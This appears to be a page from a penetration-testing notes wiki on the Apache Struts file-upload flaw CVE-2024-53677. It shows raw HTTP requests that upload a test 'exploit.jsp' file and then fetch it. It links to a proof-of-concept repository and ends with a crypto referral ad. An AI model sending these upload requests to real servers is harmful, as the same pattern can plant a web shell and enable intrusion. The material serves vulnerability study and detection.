> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/public-exploit/apache-struts.md).

# Apache Struts

## CVE-2024-53677 - RCE

Detection:

* **Uploading a Malicious File:**

  ```markup
  POST /actionFileUpload HTTP/1.1
  Host: [honeypot IP address]:8090
  User-Agent: python-requests/2.32.3
  Accept-Encoding: gzip, deflate, zstd
  Accept: */*
  Connection: keep-alive
  Content-Length: 222
  Content-Type: multipart/form-data; boundary=0abcfc26e3fa0afbd6db1ba369dfcc37

  --0abcfc26e3fa0afbd6db1ba369dfcc37
  Content-Disposition: form-data; name="file"; filename="exploit.jsp"
  Content-Type: application/octet-stream

  <% out.println("Apache Struts"); %>
  --0abcfc26e3fa0afbd6db1ba369dfcc37--
  ```

  This request uploads a malicious `.jsp` script designed to confirm successful exploitation.
* **Verifying the Uploaded File:**

  ```markup
  GET /actionFileUpload/exploit.jsp HTTP/1.1
  Host: [honeypot IP]:8090
  User-Agent: python-requests/2.32.3
  Accept-Encoding: gzip, deflate, zstd
  Accept: */*
  Connection: keep-alive
  ```

PoC:

{% embed url="<https://github.com/TAM-K592/CVE-2024-53677-S2-067>" %}

## [Earn Free Crypto / BTC with Cointiply](https://cointiply.com/r/pkZxp)

[**Play Games Earn Cash Rewards**](https://cointiply.com/r/pkZxp)

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FtT3srZzbUxV8iN6zjNrl%2Fimage.png?alt=media&amp;token=962e4759-e8b9-4e26-b998-6df524fdfaf8" alt=""><figcaption></figcaption></figure>